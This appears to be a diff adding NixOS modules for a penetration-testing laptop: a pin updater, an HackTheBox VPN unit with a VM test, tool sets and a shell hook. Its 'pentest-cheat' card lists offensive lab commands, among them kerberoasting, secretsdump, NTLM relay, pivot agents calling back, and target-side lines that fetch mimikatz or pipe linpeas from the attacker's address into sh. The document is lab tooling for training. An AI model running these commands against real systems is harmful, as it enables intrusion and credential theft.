@@ -0,0 +1,168 @@
+# modules/features/pentest/update.nix — `pentest-update`: move the pins in
+# _pkgs/default.nix forward, deliberately.
+#
+# pentest-update report what is newer upstream (changes nothing)
+# pentest-update --apply rewrite the revs and hashes in place
+#
+# It never commits, and it never runs during a rebuild: pinning is a decision,
+# not a side effect. After --apply, read `jj diff` and rebuild — if an upstream
+# renamed an asset, payloads.nix's `pick` fails the build with the name it
+# could not find, which is the point of pinning in the first place.
+{ ... }:
+{
+ flake.nixosModules.pentest-update =
+ { config, pkgs, lib, ... }:
+ let
+ on = config.daemon.pentest.enable;
+
+ script = pkgs.writeText "pentest-update.py" ''
+ """Re-pin modules/features/pentest/_pkgs/default.nix."""
+ import json, os, re, subprocess, sys, urllib.error, urllib.request
+
+ APPLY = "--apply" in sys.argv
+ ROOT = os.environ.get("NIXDAEMON", os.path.expanduser("~/NixDaemon"))
+ PKGS = os.path.join(ROOT, "modules/features/pentest/_pkgs/default.nix")
+
+ def api(path):
+ req = urllib.request.Request(
+ "https://api.github.com" + path,
+ headers={"Accept": "application/vnd.github+json",
+ "User-Agent": "pentest-update"},
+ )
+ tok = os.environ.get("GITHUB_TOKEN") or os.environ.get("GH_TOKEN")
+ if tok:
+ req.add_header("Authorization", "Bearer " + tok)
+ with urllib.request.urlopen(req, timeout=30) as r:
+ return json.load(r)
+
+ def prefetch_unpacked(url):
+ h = subprocess.run(["nix-prefetch-url", "--unpack", "--type", "sha256", url],
+ capture_output=True, text=True).stdout.strip().splitlines()
+ if not h:
+ return None
+ return subprocess.run(["nix", "hash", "convert", "--hash-algo", "sha256",
+ "--to", "sri", h[-1]],
+ capture_output=True, text=True).stdout.strip()
+
+ def prefetch_file(url):
+ out = subprocess.run(["nix", "store", "prefetch-file", "--json", url],
+ capture_output=True, text=True).stdout
+ try:
+ return json.loads(out)["hash"]
+ except Exception:
+ return None
+
+ if not os.path.exists(PKGS):
+ sys.exit("pentest-update: cannot find " + PKGS + " (set $NIXDAEMON)")
+
+ text = open(PKGS).read()
+ original = text
+ changes, problems = [], []
+
+ # fetchFromGitHub pins: owner / repo / rev / hash, in that order.
+ gh = re.compile(
+ r'owner\s*=\s*"(?P<owner>[^"]+)";\s*\n\s*'
+ r'repo\s*=\s*"(?P<repo>[^"]+)";\s*\n\s*'
+ r'rev\s*=\s*"(?P<rev>[0-9a-f]{40})";\s*\n\s*'
+ r'hash\s*=\s*"(?P<hash>sha256-[^"]+)";')
+
+ for m in list(gh.finditer(text)):
+ slug = m.group("owner") + "/" + m.group("repo")
+ try:
+ head = api("/repos/" + slug + "/commits/HEAD")["sha"]
+ except (urllib.error.URLError, urllib.error.HTTPError, KeyError) as e:
+ problems.append(slug + ": " + str(e))
+ continue
+ if head == m.group("rev"):
+ print(" up to date " + slug + " @ " + head[:12])
+ continue
+ print(" NEWER " + slug + ": " + m.group("rev")[:12] + " -> " + head[:12])
+ if not APPLY:
+ continue
+ new_hash = prefetch_unpacked(
+ "https://github.com/" + slug + "/archive/" + head + ".tar.gz")
+ if not new_hash:
+ problems.append(slug + ": prefetch failed, left alone")
+ continue
+ block = m.group(0)
+ text = text.replace(
+ block,
+ block.replace(m.group("rev"), head).replace(m.group("hash"), new_hash),
+ 1)
+ changes.append(slug)
+
+ # Release-asset pins: .../releases/download/<tag>/<asset>
+ rel = re.compile(
+ r'https://github\.com/(?P<slug>[^/]+/[^/]+)/releases/download/'
+ r'(?P<tag>[^/"]+)/(?P<asset>[^"/]+)')
+ seen = set()
+ for m in rel.finditer(original):
+ slug, tag = m.group("slug"), m.group("tag")
+ if (slug, tag) in seen:
+ continue
+ seen.add((slug, tag))
+ try:
+ latest = api("/repos/" + slug + "/releases/latest")["tag_name"]
+ except (urllib.error.URLError, urllib.error.HTTPError, KeyError) as e:
+ problems.append(slug + ": " + str(e))
+ continue
+ if latest == tag:
+ print(" up to date " + slug + " release " + tag)
+ continue
+ print(" NEWER " + slug + " release: " + tag + " -> " + latest)
+ if not APPLY:
+ continue
+ # Re-point every asset of this slug/tag, hashing each new file.
+ ok = True
+ for a in {mm.group("asset") for mm in rel.finditer(original)
+ if mm.group("slug") == slug and mm.group("tag") == tag}:
+ url = ("https://github.com/" + slug + "/releases/download/"
+ + latest + "/" + a)
+ h = prefetch_file(url)
+ if not h:
+ problems.append(slug + "/" + a + ": not in " + latest + ", left alone")
+ ok = False
+ continue
+ old_url = ("https://github.com/" + slug + "/releases/download/"
+ + tag + "/" + a)
+ old_block = re.search(
+ re.escape(old_url) + r'";\s*\n\s*hash\s*=\s*"(sha256-[^"]+)"', text)
+ if old_block:
+ text = text.replace(old_block.group(1), h, 1)
+ text = text.replace(old_url, url)
+ if ok:
+ changes.append(slug + " (release " + latest + ")")
+ # The version string often appears separately; flag it.
+ problems.append(slug + ": check the `version =` string still says "
+ + latest)
+
+ if problems:
+ print("\nneeds your attention:")
+ for p in problems:
+ print(" " + p)
+
+ if not APPLY:
+ print("\nnothing written. Re-run with --apply to re-pin.")
+ sys.exit(0)
+
+ if text == original:
+ print("\nno changes to write.")
+ sys.exit(0)
+
+ open(PKGS, "w").write(text)
+ print("\nrewrote " + PKGS + " (" + ", ".join(changes) + ")")
+ print("Review it, rebuild, then commit yourself — this never commits.")
+ '';
+
+ pentest-update = pkgs.writeShellScriptBin "pentest-update" ''
+ set -uo pipefail
+ PATH=${lib.makeBinPath [ pkgs.nix pkgs.nix-prefetch-scripts pkgs.coreutils ]}:$PATH
+ exec ${pkgs.python3}/bin/python3 ${script} "$@"
+ '';
+ in
+ {
+ config = lib.mkIf on {
+ environment.systemPackages = [ pentest-update ];
+ };
+ };
+}
diff --git a/modules/features/pentest/vpn.nix b/modules/features/pentest/vpn.nix
@@ -0,0 +1,229 @@
+# modules/features/pentest/vpn.nix — the HTB VPN, as a systemd template unit.
+#
+# htbvpn list profiles in daemon.pentest.htb.vpnDir, active marked
+# htbvpn up <profile> start it (stops whatever was up first)
+# htbvpn down stop it
+# htbvpn status unit state and the tunnel address
+# htbip just the tunnel address, for pasting into payloads
+#
+# A template unit rather than a backgrounded `sudo openvpn`: it survives
+# closing the terminal, its output goes to the journal (`journalctl -u
+# htbvpn@lab_eu_free`), and `htbvpn down` reliably kills it instead of leaving
+# an orphan holding tun0.
+#
+# Profiles are NOT Nix-managed. They are per-account files that rotate every
+# time you regenerate them on the HTB website, so the directory is created for
+# you and left alone otherwise. Drop the .ovpn in and `htbvpn list` sees it.
+{ lib, self, ... }:
+{
+ flake.nixosModules.pentest-vpn =
+ { config, pkgs, lib, user, ... }:
+ let
+ cfg = config.daemon.pentest;
+ on = cfg.enable;
+ vpnDir = cfg.htb.vpnDir;
+ sudo = "/run/wrappers/bin/sudo";
+ # The sudoers rules below name this exact path, and sudo matches on the
+ # resolved command. Calling a bare `systemctl` would resolve through PATH
+ # to a /nix/store/... path, match no rule, and ask for a password that
+ # `sudo -n` cannot supply.
+ systemctl = "/run/current-system/sw/bin/systemctl";
+
+ # Shared by htbvpn and htbip: the tunnel is whichever tun* exists, not
+ # necessarily tun0 — a second VPN, or a profile with `dev tun1`, moves it.
+ tunAddr = pkgs.writeShellScriptBin "htbip" ''
+ set -uo pipefail
+ for i in $(${pkgs.iproute2}/bin/ip -br link show type tun 2>/dev/null | ${pkgs.gawk}/bin/awk '{print $1}'); do
+ a=$(${pkgs.iproute2}/bin/ip -4 -br addr show dev "$i" 2>/dev/null | ${pkgs.gawk}/bin/awk '{print $3}' | ${pkgs.coreutils}/bin/cut -d/ -f1)
+ if [ -n "''${a:-}" ]; then printf '%s\n' "$a"; exit 0; fi
+ done
+ echo "htbip: no tun interface has an address — is the VPN up? (htbvpn status)" >&2
+ exit 1
+ '';
+
+ htbvpn = pkgs.writeShellScriptBin "htbvpn" ''
+ set -uo pipefail
+ PATH=${lib.makeBinPath [ pkgs.coreutils pkgs.gnugrep pkgs.gnused pkgs.systemd pkgs.gawk ]}:$PATH
+ DIR=${lib.escapeShellArg vpnDir}
+
+ active() { systemctl list-units --type=service --state=active --no-legend 'htbvpn@*' 2>/dev/null \
+ | awk '{print $1}' | sed -n 's/^htbvpn@\(.*\)\.service$/\1/p' | head -1; }
+
+ profiles() { [ -d "$DIR" ] && find "$DIR" -maxdepth 1 -name '*.ovpn' -printf '%f\n' 2>/dev/null | sed 's/\.ovpn$//' | sort; }
+
+ usage() {
+ echo "usage: htbvpn list | up <profile> | down | status"
+ echo " profiles live in $DIR (drop your .ovpn there)"
+ }
+
+ case "''${1:-status}" in
+ list)
+ cur=$(active)
+ if [ -z "$(profiles)" ]; then
+ echo "no .ovpn profiles in $DIR"
+ echo "download one from HTB (Access → OpenVPN) and put it there"
+ exit 0
+ fi
+ profiles | while read -r p; do
+ if [ "$p" = "$cur" ]; then echo "* $p (up)"; else echo " $p"; fi
+ done ;;
+
+ up)
+ p="''${2:-}"
+ [ -n "$p" ] || { echo "htbvpn: which profile?" >&2; usage >&2; exit 2; }
+ # The instance name becomes part of a path in the unit's ExecStart,
+ # so refuse anything that is not a plain file name.
+ case "$p" in
+ "" | .* | *[!A-Za-z0-9_.-]*)
+ echo "htbvpn: bad profile name: $p" >&2
+ echo " profile names are plain file names: letters, digits, _ . -" >&2
+ exit 2 ;;
+ esac
+ if [ ! -f "$DIR/$p.ovpn" ]; then
+ echo "htbvpn: no such profile: $DIR/$p.ovpn" >&2
+ echo "available:" >&2; profiles | sed 's/^/ /' >&2
+ exit 2
+ fi
+ cur=$(active)
+ if [ -n "$cur" ]; then
+ echo "stopping htbvpn@$cur first (one tunnel at a time)"
+ ${sudo} -n ${systemctl} stop "htbvpn@$cur.service" || true
+ fi
+ ${sudo} -n ${systemctl} start "htbvpn@$p.service" || {
+ echo "htbvpn: failed to start; journalctl -u htbvpn@$p" >&2; exit 1; }
+ for _ in $(seq 1 30); do
+ if a=$(${lib.getExe tunAddr} 2>/dev/null); then echo "htbvpn: $p up, tunnel $a"; exit 0; fi
+ sleep 1
+ done
+ echo "htbvpn: $p started but no tunnel address after 30s; journalctl -u htbvpn@$p" >&2
+ exit 1 ;;
+
+ down)
+ cur=$(active)
+ [ -n "$cur" ] || { echo "htbvpn: nothing is up"; exit 0; }
+ ${sudo} -n ${systemctl} stop "htbvpn@$cur.service"
+ echo "htbvpn: $cur down" ;;
+
+ status)
+ cur=$(active)
+ if [ -z "$cur" ]; then echo "htbvpn: down"; else
+ echo "htbvpn: $cur up, tunnel $(${lib.getExe tunAddr} 2>/dev/null || echo '(no address yet)')"
+ fi ;;
+
+ -h|--help) usage ;;
+ *) usage >&2; exit 2 ;;
+ esac
+ '';
+ in
+ {
+ config = lib.mkIf on {
+ environment.systemPackages = [ htbvpn tunAddr pkgs.openvpn ];
+
+ # The directory only; the profiles in it are yours. The parents are
+ # listed explicitly: a tmpfiles `d` line does not reliably create a
+ # missing ~/.config on a fresh account, which is why the VM test's
+ # `test -d` failed.
+ systemd.tmpfiles.rules = [
+ "d /home/${user}/.config 0755 ${user} users - -"
+ "d /home/${user}/.config/htb 0700 ${user} users - -"
+ "d ${vpnDir} 0700 ${user} users - -"
+ ];
+
+ systemd.services."htbvpn@" = {
+ description = "HTB OpenVPN profile %i";
+ after = [ "network-online.target" ];
+ wants = [ "network-online.target" ];
+ serviceConfig = {
+ Type = "simple";
+ ExecStart = "${pkgs.openvpn}/bin/openvpn --suppress-timestamps --config ${vpnDir}/%i.ovpn";
+ # Profiles often reference certs by relative path.
+ WorkingDirectory = vpnDir;
+ Restart = "no";
+ };
+ };
+
+ # Scoped exactly as fan-cli.nix does: wheel, no password, and only
+ # these two verbs on this one unit template.
+ security.sudo.extraRules = [
+ {
+ groups = [ "wheel" ];
+ commands = [
+ { command = "/run/current-system/sw/bin/systemctl start htbvpn@*"; options = [ "NOPASSWD" ]; }
+ { command = "/run/current-system/sw/bin/systemctl stop htbvpn@*"; options = [ "NOPASSWD" ]; }
+ ];
+ }
+ ];
+ };
+ };
+
+ perSystem =
+ { pkgs, ... }:
+ {
+ # The deliverable is a running tunnel, so this boots a VM. OpenVPN in
+ # static-key point-to-point mode configures its tun device before any
+ # peer answers, which is what lets a single node assert a real address.
+ checks.pentest-vpn-vm = pkgs.testers.runNixOSTest {
+ name = "pentest-vpn";
+
+ nodes.machine = {
+ imports = [
+ self.nixosModules.pentest-options
+ self.nixosModules.pentest-vpn
+ ];
+ daemon.pentest.enable = true;
+ _module.args.user = "daemonsec";
+ users.users.daemonsec = {
+ isNormalUser = true;
+ extraGroups = [ "wheel" ];
+ };
+ };
+
+ testScript = ''
+ machine.wait_for_unit("multi-user.target")
+ d = "/home/daemonsec/.config/htb/vpn"
+
+ machine.succeed(f"test -d {d}")
+
+ # No profiles yet: `list` must say so and not fail.
+ machine.succeed("su -l daemonsec -c 'htbvpn list' | grep -q 'no .ovpn profiles'")
+
+ # A missing profile must exit 2 and start nothing (plan Task 13 #4).
+ machine.fail("su -l daemonsec -c 'htbvpn up nosuchprofile'")
+ machine.fail("systemctl is-active 'htbvpn@nosuchprofile.service'")
+
+ # Two static-key p2p profiles, each on its own tun device.
+ machine.succeed(f"openvpn --genkey secret {d}/static.key")
+ for name, dev, local, peer in [
+ ("profileA", "tun0", "10.8.0.1", "10.8.0.2"),
+ ("profileB", "tun1", "10.9.0.1", "10.9.0.2"),
+ ]:
+ machine.succeed(
+ f"printf '%s\\n' 'dev {dev}' 'dev-type tun' 'ifconfig {local} {peer}' "
+ f"'secret static.key' 'remote 192.0.2.1' 'proto udp' 'ping 10' "
+ f"'data-ciphers-fallback AES-256-CBC' 'verb 3' > {d}/{name}.ovpn"
+ )
+ machine.succeed(f"chown -R daemonsec:users {d}")
+
+ # up: unit active and the tunnel really has an address.
+ machine.succeed("su -l daemonsec -c 'htbvpn up profileA'")
+ machine.wait_for_unit("htbvpn@profileA.service")
+ machine.succeed("ip -4 addr show tun0 | grep -q 10.8.0.1")
+ machine.succeed("su -l daemonsec -c htbip | grep -q 10.8.0.1")
+ machine.succeed("su -l daemonsec -c 'htbvpn list' | grep -q '\\* profileA (up)'")
+
+ # Review Focus #5: switching stops the first one. Never two tunnels.
+ machine.succeed("su -l daemonsec -c 'htbvpn up profileB'")
+ machine.wait_for_unit("htbvpn@profileB.service")
+ machine.fail("systemctl is-active 'htbvpn@profileA.service'")
+ machine.fail("ip link show tun0")
+ machine.succeed("ip -4 addr show tun1 | grep -q 10.9.0.1")
+
+ # down: nothing left holding a tunnel.
+ machine.succeed("su -l daemonsec -c 'htbvpn down'")
+ machine.fail("systemctl is-active 'htbvpn@profileB.service'")
+ machine.succeed("su -l daemonsec -c 'htbvpn status' | grep -q down")
+ machine.fail("su -l daemonsec -c htbip")
+ '';
+ };
+ };
+}
diff --git a/modules/features/pentest/web.nix b/modules/features/pentest/web.nix
@@ -0,0 +1,34 @@
+# modules/features/pentest/web.nix — web application testing.
+#
+# The GUI proxies (burpsuite, zap) are in gui.nix, not here, so a headless
+# session can enable `web` without pulling a JDK and a desktop entry.
+{ lib, ... }:
+(import ./_sets.nix { inherit lib; }) {
+ name = "web";
+ description = "directory fuzzing, injection, scanners, proxies";
+
+ packages = pkgs: with pkgs; [
+ ffuf gobuster feroxbuster dirb
+ nikto sqlmap commix wfuzz
+ nuclei nuclei-templates
+ wpscan
+ joomscan # binary is `joomscan.pl`
+ dalfox arjun
+ jwt-cli # `jwt`
+ jwt-hack
+ mitmproxy
+ ];
+
+ expectedBins = [
+ "ffuf" "gobuster" "feroxbuster" "dirb"
+ "nikto" "sqlmap" "commix" "wfuzz"
+ "nuclei" "wpscan" "joomscan.pl" "dalfox" "arjun"
+ "jwt" "jwt-hack" "mitmproxy"
+ ];
+
+ extraConfig = { pkgs, ... }: {
+ # nuclei writes its template tree to $HOME on first run and then tries to
+ # update it over the network. Point it at the Nix copy instead.
+ environment.sessionVariables.NUCLEI_TEMPLATES = "${pkgs.nuclei-templates}/share/nuclei-templates";
+ };
+}
diff --git a/modules/features/pentest/wireless.nix b/modules/features/pentest/wireless.nix
@@ -0,0 +1,35 @@
+# modules/features/pentest/wireless.nix — 802.11 and on-the-wire capture.
+# Off by default. `daemon.pentest.wireless.enable = true;`
+{ lib, ... }:
+(import ./_sets.nix { inherit lib; }) {
+ name = "wireless";
+ description = "wifi attacks and packet capture";
+ default = false;
+
+ packages = pkgs: with pkgs; [
+ aircrack-ng
+ hcxtools
+ bettercap
+ termshark
+ tcpdump
+ # The full wireshark, not wireshark-cli: gui.nix installs this same
+ # attribute, and two DIFFERENT wireshark builds both ship androiddump,
+ # dumpcap and friends — a profile collision when both categories are on.
+ # Identical paths merge fine. It provides `tshark` for headless use.
+ wireshark
+ ];
+
+ expectedBins = [
+ "aircrack-ng" "airmon-ng" "airodump-ng" "aireplay-ng"
+ "hcxpcapngtool" "hcxhashtool" "bettercap" "termshark" "tcpdump" "tshark"
+ ];
+
+ extraConfig = { pkgs, lib, ... }: {
+ # As in gui.nix: the group and the dumpcap capability wrapper, without
+ # which capture needs full root. mkDefault so both modules can set it.
+ programs.wireshark = {
+ enable = lib.mkDefault true;
+ package = lib.mkDefault pkgs.wireshark;
+ };
+ };
+}
diff --git a/modules/home/cheats.nix b/modules/home/cheats.nix
@@ -5,6 +5,7 @@
# nix-cheat rebuilding this machine: layout, nixos-rebuild, nh, add, desktop (Hyprland or Niri), secrets, repo
# gpg-cheat GnuPG from the key hierarchy to signing, encryption, SSH, git, offline primary, fixes
# niri-cheat Niri + Noctalia: every bind, Noctalia ipc, niri msg, wallpaper, settings, fixes
+# pentest-cheat the offensive toolkit: htb workflow, recon, AD, pivoting, transfer, cracking, web, DFIR
#
# <name>-cheat the whole card <name>-cheat --list the section names
# <name>-cheat SECTION one section <name>-cheat --raw the markdown itself
@@ -18,7 +19,7 @@
flake.homeModules.cheats =
{ pkgs, lib, ... }:
let
- cards = [ "nix" "gpg" "niri" ];
+ cards = [ "nix" "gpg" "niri" "pentest" ];
mkCheat = name: pkgs.writeShellScriptBin "${name}-cheat" ''
set -uo pipefail
diff --git a/modules/home/cheats/pentest.md b/modules/home/cheats/pentest.md
@@ -0,0 +1,178 @@
+# pentest — the offensive toolkit on this machine
+
+Everything here is installed by `modules/features/pentest/`. Categories are
+switched with `daemon.pentest.<category>.enable` in
+`modules/hosts/laptop/configuration.nix`. Scope: authorised labs — HTB, CPTS.
+
+## htb — the box you are on
+
+ htbvpn list profiles in ~/.config/htb/vpn
+ htbvpn up lab_eu_free start the tunnel (stops any other first)
+ htbvpn down stop it
+ htbip your tunnel address
+
+ htbtarget 10.10.11.5 set the target
+ htbtarget 10.10.11.5 dc01.vintage.htb vintage.htb
+ ...and write /etc/hosts (Kerberos needs names)
+ htbtarget show it htbtarget clear forget it
+
+ htb new escape 10.10.11.202 ~/htb/escape/{nmap,loot,creds,www,exploit}
+ htb ls boxes, newest first
+
+$TARGET, $RHOST, $IP and $BOX are exported in every terminal.
+
+ Caveat: they refresh at each PROMPT. A shell already running a long command
+ keeps the old value until it returns. Open a new line, or re-run `htbtarget`.
+
+ htbtime match the DC's clock (uses $TARGET)
+ htbtime off put normal time sync back
+ htbtime status are we holding a skew?
+
+ Caveat: a held skew makes TLS certificates look invalid, so `nix`, `git` and
+ HTTPS may fail while it is on. `htbtime off` fixes it; so does a reboot.
+
+## recon — what is there
+
+ nmap -sC -sV -oA nmap/initial $TARGET
+ nmap -p- --min-rate 10000 -oA nmap/all $TARGET
+ sudo nmap -sU --top-ports 100 $TARGET # UDP; needs root PATH, hence systemPackages
+ rustscan -a $TARGET -- -sC -sV
+ fscan -h $TARGET # all-in-one sweep
+
+ nxc smb $TARGET -u '' -p '' # null session
+ enum4linux-ng -A $TARGET
+ smbclient -L //$TARGET -N
+ snmp-check $TARGET
+ ldapsearch -x -H ldap://$TARGET -s base namingcontexts
+
+## ad — active directory
+
+ kerbrute userenum -d vintage.htb --dc $TARGET users.txt
+ nxc smb $TARGET -u user -p pass --shares --users --pass-pol
+ nxc ldap $TARGET -u user -p pass --bloodhound -c all --dns-server $TARGET
+
+ GetNPUsers.py vintage.htb/ -dc-ip $TARGET -usersfile users.txt # AS-REP
+ GetUserSPNs.py vintage.htb/user:pass -dc-ip $TARGET -request # kerberoast
+ secretsdump.py vintage.htb/user:pass@$TARGET
+ certipy find -u user@vintage.htb -p pass -dc-ip $TARGET -vulnerable
+
+ linWinPwn -t $TARGET -d vintage.htb -u user -p pass # drive most of the above
+ linWinPwn -t $TARGET -d vintage.htb -M ad_enum # one module
+
+BloodHound: two viewers, two formats, NOT interchangeable.
+
+ rusthound-ce -d vintage.htb -u user@vintage.htb -p pass -c All -z
+ # -> CE format, for bloodhound-ce
+ bloodhound-python -u user -p pass -d vintage.htb -dc dc01.vintage.htb -c all
+ # -> LEGACY format, for bloodhound-legacy
+
+ bloodhound-up # neo4j (+postgres), then browse :8080
+ bloodhound-status bloodhound-down
+ bloodhound-legacy # the archived 4.3.1 GUI, for legacy JSON
+
+ Feeding legacy JSON to CE (or the reverse) fails with an unhelpful parse
+ error. That is the usual way to lose an hour here. SharpHound CE lives in
+ $PAYLOADS/windows/amd64/ad/SharpHound.exe.
+
+ bloodhound-legacy is an archived app on Electron 11 — nixpkgs dropped it for
+ that reason. Use it for your own lab data, nothing else.
+
+ printerbug.py vintage.htb/user:pass@$TARGET $(htbip) # coerce auth (MS-RPRN)
+ ntlmrelayx.py -t ldap://$TARGET --escalate-user user
+ evil-winrm -i $TARGET -u user -p pass
+
+impacket's 70 scripts answer to both spellings: `secretsdump.py` and
+`secretsdump`. Five did NOT get the bare name, because a real tool owns it —
+reach for these instead:
+
+ impacket-net impacket-ping impacket-smbclient impacket-split
+ impacket-mimikatz (so it is not confused with mimikatz.exe)
+
+Every script also has an `impacket-` form, so `impacket-secretsdump` works too.
+
+ impacket pick a script (fzf, with its --help as preview)
+ impacket --list all 70 names
+ impacket getST -h run one by name
+
+## pivot — onto the next subnet
+
+ligolo-ng first: it gives a real interface, so every tool works unchanged.
+
+ sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
+ ligolo-proxy -selfcert # on this machine
+ # on the target, from $PAYLOADS:
+ # ligolo-agent.exe -connect <you>:11601 -ignore-cert
+ # then in the proxy: session; start; and route the subnet:
+ sudo ip route add 172.16.1.0/24 dev ligolo
+
+ chisel server -p 8000 --reverse # fallback
+ # target: chisel.exe client <you>:8000 R:socks
+
+ ssh -D 1080 user@host # then proxychains4 <cmd>
+ proxychains4 nxc smb 172.16.1.5
+
+/etc/proxychains.conf is generated by Nix (programs.proxychains) — editing it
+by hand does not work on NixOS, so change pivot.nix instead.
+
+## transfer — getting files across
+
+ payload-serve HTTP on your tunnel address, port 80
+ payload-serve 8000 ...on 8000
+ payload-serve --smb impacket smbserver, share name `share`
+ payload-serve --list what is in the tree
+
+It refuses to start when the VPN is down rather than binding every interface.
+
+ echo $PAYLOADS
+ $PAYLOADS/windows/amd64/creds/mimikatz.exe also mimikatz-2.2.0-*.exe
+ $PAYLOADS/windows/amd64/privesc/potato/ Juicy, Rogue, God, PrintSpoofer…
+ $PAYLOADS/windows/amd64/ad/Rubeus.exe 102 C# tools
+ $PAYLOADS/linux/{amd64,arm64}/agents/ ligolo-agent, chisel
+ $PAYLOADS/scripts/ad/PowerView.ps1 and nishang/
+ $PAYLOADS/scripts/printer/ printerbug.py, CVE-2021-1675.py
+
+ # on the target
+ certutil -urlcache -f http://$(htbip)/windows/amd64/creds/mimikatz.exe m.exe
+ iwr -uri http://$(htbip)/x.exe -outfile x.exe
+ wget http://$(htbip)/linux/amd64/privesc/linpeas.sh -O- | sh
+
+## crack — offline
+
+ hashid hash.txt nth hash.txt
+ hashcat -m 13100 spns.txt $WORDLISTS/rockyou.txt # kerberoast TGS
+ hashcat -m 18200 asrep.txt $WORDLISTS/rockyou.txt # AS-REP
+ hashcat -m 1000 ntlm.txt $WORDLISTS/rockyou.txt # NTLM
+ john --wordlist=$WORDLISTS/rockyou.txt hash.txt
+ hydra -l user -P $WORDLISTS/rockyou.txt ssh://$TARGET
+
+ echo $WORDLISTS rockyou.txt, seclists/, nmap.lst, wfuzz/
+
+## web
+
+ ffuf -u http://$TARGET/FUZZ -w $WORDLISTS/seclists/Discovery/Web-Content/raft-medium-directories.txt
+ feroxbuster -u http://$TARGET --depth 2
+ ffuf -u http://$TARGET -H 'Host: FUZZ.vintage.htb' -w subdomains.txt -fs 0 # vhosts
+ nuclei -u http://$TARGET
+ sqlmap -u 'http://$TARGET/?id=1' --batch --dbs
+ wpscan --url http://$TARGET --enumerate u
+ searchsploit apache 2.4
+
+burpsuite and zap are in the launcher (daemon.pentest.gui).
+
+## dfir — forensics (off by default)
+
+ daemon.pentest.dfir.enable = true; # then: nh os switch
+
+ vol -f mem.raw windows.pslist
+ chainsaw hunt evtx/ --sigma sigma/ hayabusa csv-timeline -d evtx/
+ yara rules.yar ./sample capa ./sample
+ fls -r -o 2048 disk.img exiftool file.jpg
+ chntpw -l SAM # offline local accounts
+
+## nix — maintaining this
+
+ nh os switch rebuild and activate
+ daemon.pentest.<cat>.enable = false; drop a category
+ nix develop ~/NixDaemon#pentest the whole kit, portable, no install
+ nix flake check every category's smoke test
+ pentest-update --dry-run see what newer pins exist
diff --git a/modules/home/htb-shell.nix b/modules/home/htb-shell.nix
@@ -0,0 +1,63 @@
+# modules/home/htb-shell.nix — makes the current target visible in every
+# terminal, and in the prompt.
+#
+# The target itself is a file written by `htbtarget`
+# (modules/features/pentest/htb.nix). A variable cannot be pushed into a shell
+# that is already running, so instead zsh re-reads that file in `precmd`,
+# which runs before every prompt. Set the target in one terminal and the next
+# prompt in every other terminal has it:
+#
+# $TARGET $RHOST $IP the address $BOX the box name
+#
+# A shell sitting inside a long-running command keeps the old value until it
+# returns. That is inherent to the approach and documented in pentest-cheat.
+#
+# This hooks in through programs.zsh.initContent rather than replacing
+# anything: zsh's real configuration is the dotfiles' ZDOTDIR tree
+# (modules/home/shell.nix), and this has to coexist with it.
+{ ... }:
+{
+ flake.homeModules.htb-shell =
+ { config, lib, osConfig, pkgs, ... }:
+ let
+ cfg = osConfig.daemon.pentest or { };
+ on = cfg.enable or false;
+ promptTarget = cfg.htb.promptTarget or false;
+ in
+ {
+ programs.zsh.initContent = lib.mkIf on (lib.mkOrder 1200 ''
+ # --- htb target, shared across terminals -------------------------------
+ # Re-read before each prompt so a target set in another terminal shows up
+ # here. Cheap: three small reads of files in $XDG_STATE_HOME.
+ _htb_state="''${XDG_STATE_HOME:-$HOME/.local/state}/htb"
+ _htb_load() {
+ if [[ -s "$_htb_state/target" ]]; then
+ TARGET="$(<"$_htb_state/target")"
+ TARGET="''${TARGET%%$'\n'*}"
+ export TARGET RHOST="$TARGET" IP="$TARGET"
+ else
+ unset TARGET RHOST IP
+ fi
+ if [[ -s "$_htb_state/box" ]]; then
+ BOX="$(<"$_htb_state/box")"
+ export BOX="''${BOX%%$'\n'*}"
+ else
+ unset BOX
+ fi
+ }
+ autoload -Uz add-zsh-hook
+ add-zsh-hook precmd _htb_load
+ _htb_load
+ '');
+
+ # Rosé Pine love (#eb6f92) for the target, so it reads as "live fire".
+ programs.starship.settings = lib.mkIf (on && promptTarget) {
+ env_var.TARGET = {
+ variable = "TARGET";
+ format = "[ $env_value]($style) ";
+ style = "bold #eb6f92";
+ disabled = false;
+ };
+ };
+ };
+}